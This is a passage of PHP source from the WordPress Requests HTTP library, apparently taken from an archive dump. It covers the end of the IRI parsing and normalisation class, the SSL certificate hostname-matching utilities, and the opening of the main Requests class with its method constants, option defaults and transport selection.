				$target->iuserinfo = $base->iuserinfo;
				$target->ihost = $base->ihost;
				$target->port = $base->port;
				if ($relative->ipath !== '') {
					if ($relative->ipath[0] === '/') {
						$target->ipath = $relative->ipath;
					}
					elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
						$target->ipath = '/' . $relative->ipath;
					}
					elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
						$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
					}
					else {
						$target->ipath = $relative->ipath;
					}
					$target->ipath = $target->remove_dot_segments($target->ipath);
					$target->iquery = $relative->iquery;
				}
				else {
					$target->ipath = $base->ipath;
					if ($relative->iquery !== null) {
						$target->iquery = $relative->iquery;
					}
					elseif ($base->iquery !== null) {
						$target->iquery = $base->iquery;
					}
				}
				$target->ifragment = $relative->ifragment;
			}
		}
		else {
			$target = clone $base;
			$target->ifragment = null;
		}
		$target->scheme_normalization();
		return $target;
	}

	/**
	 * Parse an IRI into scheme/authority/path/query/fragment segments
	 *
	 * @param string $iri
	 * @return array
	 */
	protected function parse_iri($iri) {
		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
		$has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match);
		if (!$has_match) {
			throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
		}

		if ($match[1] === '') {
			$match['scheme'] = null;
		}
		if (!isset($match[3]) || $match[3] === '') {
			$match['authority'] = null;
		}
		if (!isset($match[5])) {
			$match['path'] = '';
		}
		if (!isset($match[6]) || $match[6] === '') {
			$match['query'] = null;
		}
		if (!isset($match[8]) || $match[8] === '') {
			$match['fragment'] = null;
		}
		return $match;
	}

	/**
	 * Remove dot segments from a path
	 *
	 * @param string $input
	 * @return string
	 */
	protected function remove_dot_segments($input) {
		$output = '';
		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
			// A: If the input buffer begins with a prefix of "../" or "./",
			// then remove that prefix from the input buffer; otherwise,
			if (strpos($input, '../') === 0) {
				$input = substr($input, 3);
			}
			elseif (strpos($input, './') === 0) {
				$input = substr($input, 2);
			}
			// B: if the input buffer begins with a prefix of "/./" or "/.",
			// where "." is a complete path segment, then replace that prefix
			// with "/" in the input buffer; otherwise,
			elseif (strpos($input, '/./') === 0) {
				$input = substr($input, 2);
			}
			elseif ($input === '/.') {
				$input = '/';
			}
			// C: if the input buffer begins with a prefix of "/../" or "/..",
			// where ".." is a complete path segment, then replace that prefix
			// with "/" in the input buffer and remove the last segment and its
			// preceding "/" (if any) from the output buffer; otherwise,
			elseif (strpos($input, '/../') === 0) {
				$input = substr($input, 3);
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			elseif ($input === '/..') {
				$input = '/';
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			// D: if the input buffer consists only of "." or "..", then remove
			// that from the input buffer; otherwise,
			elseif ($input === '.' || $input === '..') {
				$input = '';
			}
			// E: move the first path segment in the input buffer to the end of
			// the output buffer, including the initial "/" character (if any)
			// and any subsequent characters up to, but not including, the next
			// "/" character or the end of the input buffer
			elseif (($pos = strpos($input, '/', 1)) !== false) {
				$output .= substr($input, 0, $pos);
				$input = substr_replace($input, '', 0, $pos);
			}
			else {
				$output .= $input;
				$input = '';
			}
		}
		return $output . $input;
	}

	/**
	 * Replace invalid character with percent encoding
	 *
	 * @param string $text Input string
	 * @param string $extra_chars Valid characters not in iunreserved or
	 *                            iprivate (this is ASCII-only)
	 * @param bool $iprivate Allow iprivate
	 * @return string
	 */
	protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) {
		// Normalize as many pct-encoded sections as possible
		$text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text);

		// Replace invalid percent characters
		$text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text);

		// Add unreserved and % to $extra_chars (the latter is safe because all
		// pct-encoded sections are now valid).
		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

		// Now replace any bytes that aren't allowed with their pct-encoded versions
		$position = 0;
		$strlen = strlen($text);
		while (($position += strspn($text, $extra_chars, $position)) < $strlen) {
			$value = ord($text[$position]);

			// Start position
			$start = $position;

			// By default we are valid
			$valid = true;

			// No one byte sequences are valid due to the while.
			// Two byte sequence:
			if (($value & 0xE0) === 0xC0) {
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0) {
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0) {
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else {
				$valid = false;
				$length = 1;
				$remaining = 0;
			}

			if ($remaining) {
				if ($position + $length <= $strlen) {
					for ($position++; $remaining; $position++) {
						$value = ord($text[$position]);

						// Check that the byte is valid, then add it to the character:
						if (($value & 0xC0) === 0x80) {
							$character |= ($value & 0x3F) << (--$remaining * 6);
						}
						// If it is invalid, count the sequence as invalid and reprocess the current byte:
						else {
							$valid = false;
							$position--;
							break;
						}
					}
				}
				else {
					$position = $strlen - 1;
					$valid = false;
				}
			}

			// Percent encode anything invalid or not in ucschar
			if (
				// Invalid sequences
				!$valid
				// Non-shortest form sequences are invalid
				|| $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0xA0
					|| $character > 0xEFFFD
				)
				&& (
					// Everything not in iprivate, if it applies
					   !$iprivate
					|| $character < 0xE000
					|| $character > 0x10FFFD
				)
			) {
				// If we were a character, pretend we weren't, but rather an error.
				if ($valid) {
					$position--;
				}

				for ($j = $start; $j <= $position; $j++) {
					$text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1);
					$j += 2;
					$position += 2;
					$strlen += 2;
				}
			}
		}

		return $text;
	}

	/**
	 * Callback function for preg_replace_callback.
	 *
	 * Removes sequences of percent encoded bytes that represent UTF-8
	 * encoded characters in iunreserved
	 *
	 * @param array $regex_match PCRE match
	 * @return string Replacement
	 */
	protected function remove_iunreserved_percent_encoded($regex_match) {
		// As we just have valid percent encoded sequences we can just explode
		// and ignore the first member of the returned array (an empty string).
		$bytes = explode('%', $regex_match[0]);

		// Initialize the new string (this is what will be returned) and that
		// there are no bytes remaining in the current sequence (unsurprising
		// at the first byte!).
		$string = '';
		$remaining = 0;

		// Loop over each and every byte, and set $value to its value
		for ($i = 1, $len = count($bytes); $i < $len; $i++) {
			$value = hexdec($bytes[$i]);

			// If we're the first byte of sequence:
			if (!$remaining) {
				// Start position
				$start = $i;

				// By default we are valid
				$valid = true;

				// One byte sequence:
				if ($value <= 0x7F) {
					$character = $value;
					$length = 1;
				}
				// Two byte sequence:
				elseif (($value & 0xE0) === 0xC0) {
					$character = ($value & 0x1F) << 6;
					$length = 2;
					$remaining = 1;
				}
				// Three byte sequence:
				elseif (($value & 0xF0) === 0xE0) {
					$character = ($value & 0x0F) << 12;
					$length = 3;
					$remaining = 2;
				}
				// Four byte sequence:
				elseif (($value & 0xF8) === 0xF0) {
					$character = ($value & 0x07) << 18;
					$length = 4;
					$remaining = 3;
				}
				// Invalid byte:
				else {
					$valid = false;
					$remaining = 0;
				}
			}
			// Continuation byte:
			else {
				// Check that the byte is valid, then add it to the character:
				if (($value & 0xC0) === 0x80) {
					$remaining--;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}
				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
				else {
					$valid = false;
					$remaining = 0;
					$i--;
				}
			}

			// If we've reached the end of the current byte sequence, append it to Unicode::$data
			if (!$remaining) {
				// Percent encode anything invalid or not in iunreserved
				if (
					// Invalid sequences
					!$valid
					// Non-shortest form sequences are invalid
					|| $length > 1 && $character <= 0x7F
					|| $length > 2 && $character <= 0x7FF
					|| $length > 3 && $character <= 0xFFFF
					// Outside of range of iunreserved codepoints
					|| $character < 0x2D
					|| $character > 0xEFFFD
					// Noncharacters
					|| ($character & 0xFFFE) === 0xFFFE
					|| $character >= 0xFDD0 && $character <= 0xFDEF
					// Everything else not in iunreserved (this is all BMP)
					|| $character === 0x2F
					|| $character > 0x39 && $character < 0x41
					|| $character > 0x5A && $character < 0x61
					|| $character > 0x7A && $character < 0x7E
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xD7FF && $character < 0xF900
				) {
					for ($j = $start; $j <= $i; $j++) {
						$string .= '%' . strtoupper($bytes[$j]);
					}
				}
				else {
					for ($j = $start; $j <= $i; $j++) {
						$string .= chr(hexdec($bytes[$j]));
					}
				}
			}
		}

		// If we have any bytes left over they are invalid (i.e., we are
		// mid-way through a multi-byte sequence)
		if ($remaining) {
			for ($j = $start; $j < $len; $j++) {
				$string .= '%' . strtoupper($bytes[$j]);
			}
		}

		return $string;
	}

	protected function scheme_normalization() {
		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
			$this->iuserinfo = null;
		}
		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
			$this->ihost = null;
		}
		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
			$this->port = null;
		}
		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
			$this->ipath = '';
		}
		if (isset($this->ihost) && empty($this->ipath)) {
			$this->ipath = '/';
		}
		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
			$this->iquery = null;
		}
		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
			$this->ifragment = null;
		}
	}

	/**
	 * Check if the object represents a valid IRI. This needs to be done on each
	 * call as some things change depending on another part of the IRI.
	 *
	 * @return bool
	 */
	public function is_valid() {
		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
		if ($this->ipath !== '' &&
			(
				$isauthority && $this->ipath[0] !== '/' ||
				(
					$this->scheme === null &&
					!$isauthority &&
					strpos($this->ipath, ':') !== false &&
					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
				)
			)
		) {
			return false;
		}

		return true;
	}

	public function __wakeup() {
		$class_props = get_class_vars( __CLASS__ );
		$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
		$array_props = array( 'normalization' );
		foreach ( $class_props as $prop => $default_value ) {
			if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
				throw new UnexpectedValueException();
			} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
				throw new UnexpectedValueException();
			}
			$this->$prop = null;
		}
	}

	/**
	 * Set the entire IRI. Returns true on success, false on failure (if there
	 * are any invalid characters).
	 *
	 * @param string $iri
	 * @return bool
	 */
	protected function set_iri($iri) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($iri === null) {
			return true;
		}

		$iri = (string) $iri;

		if (isset($cache[$iri])) {
			list($this->scheme,
				 $this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $this->ipath,
				 $this->iquery,
				 $this->ifragment,
				 $return) = $cache[$iri];
			return $return;
		}

		$parsed = $this->parse_iri($iri);

		$return = $this->set_scheme($parsed['scheme'])
			&& $this->set_authority($parsed['authority'])
			&& $this->set_path($parsed['path'])
			&& $this->set_query($parsed['query'])
			&& $this->set_fragment($parsed['fragment']);

		$cache[$iri] = array($this->scheme,
							 $this->iuserinfo,
							 $this->ihost,
							 $this->port,
							 $this->ipath,
							 $this->iquery,
							 $this->ifragment,
							 $return);
		return $return;
	}

	/**
	 * Set the scheme. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $scheme
	 * @return bool
	 */
	protected function set_scheme($scheme) {
		if ($scheme === null) {
			$this->scheme = null;
		}
		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
			$this->scheme = null;
			return false;
		}
		else {
			$this->scheme = strtolower($scheme);
		}
		return true;
	}

	/**
	 * Set the authority. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $authority
	 * @return bool
	 */
	protected function set_authority($authority) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($authority === null) {
			$this->iuserinfo = null;
			$this->ihost = null;
			$this->port = null;
			return true;
		}
		if (isset($cache[$authority])) {
			list($this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $return) = $cache[$authority];

			return $return;
		}

		$remaining = $authority;
		if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
			$remaining = substr($remaining, $iuserinfo_end + 1);
		}
		else {
			$iuserinfo = null;
		}

		if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) {
			$port = substr($remaining, $port_start + 1);
			if ($port === false || $port === '') {
				$port = null;
			}
			$remaining = substr($remaining, 0, $port_start);
		}
		else {
			$port = null;
		}

		$return = $this->set_userinfo($iuserinfo) &&
				  $this->set_host($remaining) &&
				  $this->set_port($port);

		$cache[$authority] = array($this->iuserinfo,
								   $this->ihost,
								   $this->port,
								   $return);

		return $return;
	}

	/**
	 * Set the iuserinfo.
	 *
	 * @param string $iuserinfo
	 * @return bool
	 */
	protected function set_userinfo($iuserinfo) {
		if ($iuserinfo === null) {
			$this->iuserinfo = null;
		}
		else {
			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
			$this->scheme_normalization();
		}

		return true;
	}

	/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
	protected function set_host($ihost) {
		if ($ihost === null) {
			$this->ihost = null;
			return true;
		}
		if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
			if (Ipv6::check_ipv6(substr($ihost, 1, -1))) {
				$this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']';
			}
			else {
				$this->ihost = null;
				return false;
			}
		}
		else {
			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

			// Lowercase, but ignore pct-encoded sections (as they should
			// remain uppercase). This must be done after the previous step
			// as that can add unescaped characters.
			$position = 0;
			$strlen = strlen($ihost);
			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
				if ($ihost[$position] === '%') {
					$position += 3;
				}
				else {
					$ihost[$position] = strtolower($ihost[$position]);
					$position++;
				}
			}

			$this->ihost = $ihost;
		}

		$this->scheme_normalization();

		return true;
	}

	/**
	 * Set the port. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $port
	 * @return bool
	 */
	protected function set_port($port) {
		if ($port === null) {
			$this->port = null;
			return true;
		}

		if (strspn($port, '0123456789') === strlen($port)) {
			$this->port = (int) $port;
			$this->scheme_normalization();
			return true;
		}

		$this->port = null;
		return false;
	}

	/**
	 * Set the ipath.
	 *
	 * @param string $ipath
	 * @return bool
	 */
	protected function set_path($ipath) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		$ipath = (string) $ipath;

		if (isset($cache[$ipath])) {
			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
		}
		else {
			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
			$removed = $this->remove_dot_segments($valid);

			$cache[$ipath] = array($valid, $removed);
			$this->ipath = ($this->scheme !== null) ? $removed : $valid;
		}
		$this->scheme_normalization();
		return true;
	}

	/**
	 * Set the iquery.
	 *
	 * @param string $iquery
	 * @return bool
	 */
	protected function set_query($iquery) {
		if ($iquery === null) {
			$this->iquery = null;
		}
		else {
			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Set the ifragment.
	 *
	 * @param string $ifragment
	 * @return bool
	 */
	protected function set_fragment($ifragment) {
		if ($ifragment === null) {
			$this->ifragment = null;
		}
		else {
			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Convert an IRI to a URI (or parts thereof)
	 *
	 * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()})
	 * @return string|false URI if IRI is valid, false otherwise.
	 */
	protected function to_uri($iri) {
		if (!is_string($iri)) {
			return false;
		}

		static $non_ascii;
		if (!$non_ascii) {
			$non_ascii = implode('', range("\x80", "\xFF"));
		}

		$position = 0;
		$strlen = strlen($iri);
		while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) {
			$iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1);
			$position += 3;
			$strlen += 2;
		}

		return $iri;
	}

	/**
	 * Get the complete IRI
	 *
	 * @return string|false
	 */
	protected function get_iri() {
		if (!$this->is_valid()) {
			return false;
		}

		$iri = '';
		if ($this->scheme !== null) {
			$iri .= $this->scheme . ':';
		}
		if (($iauthority = $this->get_iauthority()) !== null) {
			$iri .= '//' . $iauthority;
		}
		$iri .= $this->ipath;
		if ($this->iquery !== null) {
			$iri .= '?' . $this->iquery;
		}
		if ($this->ifragment !== null) {
			$iri .= '#' . $this->ifragment;
		}

		return $iri;
	}

	/**
	 * Get the complete URI
	 *
	 * @return string
	 */
	protected function get_uri() {
		return $this->to_uri($this->get_iri());
	}

	/**
	 * Get the complete iauthority
	 *
	 * @return string|null
	 */
	protected function get_iauthority() {
		if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
			return null;
		}

		$iauthority = '';
		if ($this->iuserinfo !== null) {
			$iauthority .= $this->iuserinfo . '@';
		}
		if ($this->ihost !== null) {
			$iauthority .= $this->ihost;
		}
		if ($this->port !== null) {
			$iauthority .= ':' . $this->port;
		}
		return $iauthority;
	}

	/**
	 * Get the complete authority
	 *
	 * @return string
	 */
	protected function get_authority() {
		$iauthority = $this->get_iauthority();
		if (is_string($iauthority)) {
			return $this->to_uri($iauthority);
		}
		else {
			return $iauthority;
		}
	}
}
Ssl.php000064400000012461151450174520006026 0ustar00<?php
/**
 * SSL utilities for Requests
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests\Utilities
 */
final class Ssl {
	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string|Stringable $host Host name to verify against
	 * @param array $cert Certificate data from openssl_x509_parse()
	 * @return bool
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $host argument is not a string or a stringable object.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cert argument is not an array or array accessible.
	 */
	public static function verify_certificate($host, $cert) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		if (InputValidator::has_array_access($cert) === false) {
			throw InvalidArgument::create(2, '$cert', 'array|ArrayAccess', gettype($cert));
		}

		$has_dns_alt = false;

		// Check the subjectAltName
		if (!empty($cert['extensions']['subjectAltName'])) {
			$altnames = explode(',', $cert['extensions']['subjectAltName']);
			foreach ($altnames as $altname) {
				$altname = trim($altname);
				if (strpos($altname, 'DNS:') !== 0) {
					continue;
				}

				$has_dns_alt = true;

				// Strip the 'DNS:' prefix and trim whitespace
				$altname = trim(substr($altname, 4));

				// Check for a match
				if (self::match_domain($host, $altname) === true) {
					return true;
				}
			}

			if ($has_dns_alt === true) {
				return false;
			}
		}

		// Fall back to checking the common name if we didn't get any dNSName
		// alt names, as per RFC2818
		if (!empty($cert['subject']['CN'])) {
			// Check for a match
			return (self::match_domain($host, $cert['subject']['CN']) === true);
		}

		return false;
	}

	/**
	 * Verify that a reference name is valid
	 *
	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
	 * - Wildcards can only occur in a name with more than 3 components
	 * - Wildcards can only occur as the last character in the first
	 *   component
	 * - Wildcards may be preceded by additional characters
	 *
	 * We modify these rules to be a bit stricter and only allow the wildcard
	 * character to be the full first component; that is, with the exclusion of
	 * the third rule.
	 *
	 * @param string|Stringable $reference Reference dNSName
	 * @return boolean Is the name valid?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function verify_reference_name($reference) {
		if (InputValidator::is_string_or_stringable($reference) === false) {
			throw InvalidArgument::create(1, '$reference', 'string|Stringable', gettype($reference));
		}

		if ($reference === '') {
			return false;
		}

		if (preg_match('`\s`', $reference) > 0) {
			// Whitespace detected. This can never be a dNSName.
			return false;
		}

		$parts = explode('.', $reference);
		if ($parts !== array_filter($parts)) {
			// DNSName cannot contain two dots next to each other.
			return false;
		}

		// Check the first part of the name
		$first = array_shift($parts);

		if (strpos($first, '*') !== false) {
			// Check that the wildcard is the full part
			if ($first !== '*') {
				return false;
			}

			// Check that we have at least 3 components (including first)
			if (count($parts) < 2) {
				return false;
			}
		}

		// Check the remaining parts
		foreach ($parts as $part) {
			if (strpos($part, '*') !== false) {
				return false;
			}
		}

		// Nothing found, verified!
		return true;
	}

	/**
	 * Match a hostname against a dNSName reference
	 *
	 * @param string|Stringable $host Requested host
	 * @param string|Stringable $reference dNSName to match against
	 * @return boolean Does the domain match?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
	 */
	public static function match_domain($host, $reference) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		// Check if the reference is blocklisted first
		if (self::verify_reference_name($reference) !== true) {
			return false;
		}

		// Check for a direct match
		if ((string) $host === (string) $reference) {
			return true;
		}

		// Calculate the valid wildcard match if the host is not an IP address
		// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
		// as a wildcard reference is only allowed with 3 parts or more, so the
		// comparison will never match if host doesn't contain 3 parts or more as well.
		if (ip2long($host) === false) {
			$parts    = explode('.', $host);
			$parts[0] = '*';
			$wildcard = implode('.', $parts);
			if ($wildcard === (string) $reference) {
				return true;
			}
		}

		return false;
	}
}
Requests.php000064400000102321151450174520007073 0ustar00<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Auth\Basic;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\IdnaEncoder;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Proxy\Http;
use WpOrg\Requests\Response;
use WpOrg\Requests\Transport\Curl;
use WpOrg\Requests\Transport\Fsockopen;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */
class Requests {
	/**
	 * POST method
	 *
	 * @var string
	 */
	const POST = 'POST';

	/**
	 * PUT method
	 *
	 * @var string
	 */
	const PUT = 'PUT';

	/**
	 * GET method
	 *
	 * @var string
	 */
	const GET = 'GET';

	/**
	 * HEAD method
	 *
	 * @var string
	 */
	const HEAD = 'HEAD';

	/**
	 * DELETE method
	 *
	 * @var string
	 */
	const DELETE = 'DELETE';

	/**
	 * OPTIONS method
	 *
	 * @var string
	 */
	const OPTIONS = 'OPTIONS';

	/**
	 * TRACE method
	 *
	 * @var string
	 */
	const TRACE = 'TRACE';

	/**
	 * PATCH method
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 * @var string
	 */
	const PATCH = 'PATCH';

	/**
	 * Default size of buffer size to read streams
	 *
	 * @var integer
	 */
	const BUFFER_SIZE = 1160;

	/**
	 * Option defaults.
	 *
	 * @see \WpOrg\Requests\Requests::get_default_options()
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const OPTION_DEFAULTS = [
		'timeout'          => 10,
		'connect_timeout'  => 10,
		'useragent'        => 'php-requests/' . self::VERSION,
		'protocol_version' => 1.1,
		'redirected'       => 0,
		'redirects'        => 10,
		'follow_redirects' => true,
		'blocking'         => true,
		'type'             => self::GET,
		'filename'         => false,
		'auth'             => false,
		'proxy'            => false,
		'cookies'          => false,
		'max_bytes'        => false,
		'idn'              => true,
		'hooks'            => null,
		'transport'        => null,
		'verify'           => null,
		'verifyname'       => true,
	];

	/**
	 * Default supported Transport classes.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const DEFAULT_TRANSPORTS = [
		Curl::class      => Curl::class,
		Fsockopen::class => Fsockopen::class,
	];

	/**
	 * Current version of Requests
	 *
	 * @var string
	 */
	const VERSION = '2.0.11';

	/**
	 * Selected transport name
	 *
	 * Use {@see \WpOrg\Requests\Requests::get_transport()} instead
	 *
	 * @var array
	 */
	public static $transport = [];

	/**
	 * Registered transport classes
	 *
	 * @var array
	 */
	protected static $transports = [];

	/**
	 * Default certificate path.
	 *
	 * @see \WpOrg\Requests\Requests::get_certificate_path()
	 * @see \WpOrg\Requests\Requests::set_certificate_path()
	 *
	 * @var string
	 */
	protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';

	/**
	 * All (known) valid deflate, gzip header magic markers.
	 *
	 * These markers relate to different compression levels.
	 *
	 * @link https://stackoverflow.com/a/43170354/482864 Marker source.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	private static $magic_compression_headers = [
		"\x1f\x8b" => true, // Gzip marker.
		"\x78\x01" => true, // Zlib marker - level 1.
		"\x78\x5e" => true, // Zlib marker - level 2 to 5.
		"\x78\x9c" => true, // Zlib marker - level 6.
		"\x78\xda" => true, // Zlib marker - level 7 to 9.
	];

	/**
	 * This is a static class, do not instantiate it
	 *
	 * @codeCoverageIgnore
	 */
	private function __construct() {}

	/**
	 * Register a transport
	 *
	 * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
	 */
	public static function add_transport($transport) {
		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		self::$transports[$transport] = $transport;
	}

	/**
	 * Get the fully qualified class name (FQCN) for a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return string FQCN of the transport to use, or an empty string if no transport was
	 *                found which provided the requested capabilities.
	 */
	protected static function get_transport_class(array $capabilities = []) {
		// Caching code, don't bother testing coverage.
		// @codeCoverageIgnoreStart
		// Array of capabilities as a string to be used as an array key.
		ksort($capabilities);
		$cap_string = serialize($capabilities);

		// Don't search for a transport if it's already been done for these $capabilities.
		if (isset(self::$transport[$cap_string])) {
			return self::$transport[$cap_string];
		}

		// Ensure we will not run this same check again later on.
		self::$transport[$cap_string] = '';
		// @codeCoverageIgnoreEnd

		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		// Find us a working transport.
		foreach (self::$transports as $class) {
			if (!class_exists($class)) {
				continue;
			}

			$result = $class::test($capabilities);
			if ($result === true) {
				self::$transport[$cap_string] = $class;
				break;
			}
		}

		return self::$transport[$cap_string];
	}

	/**
	 * Get a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return \WpOrg\Requests\Transport
	 * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
	 */
	protected static function get_transport(array $capabilities = []) {
		$class = self::get_transport_class($capabilities);

		if ($class === '') {
			throw new Exception('No working transports found', 'notransport', self::$transports);
		}

		return new $class();
	}

	/**
	 * Checks to see if we have a transport for the capabilities requested.
	 *
	 * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
	 * interface as constants.
	 *
	 * Example usage:
	 * `Requests::has_capabilities([Capability::SSL => true])`.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport has the requested capabilities.
	 */
	public static function has_capabilities(array $capabilities = []) {
		return self::get_transport_class($capabilities) !== '';
	}

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public static function get($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
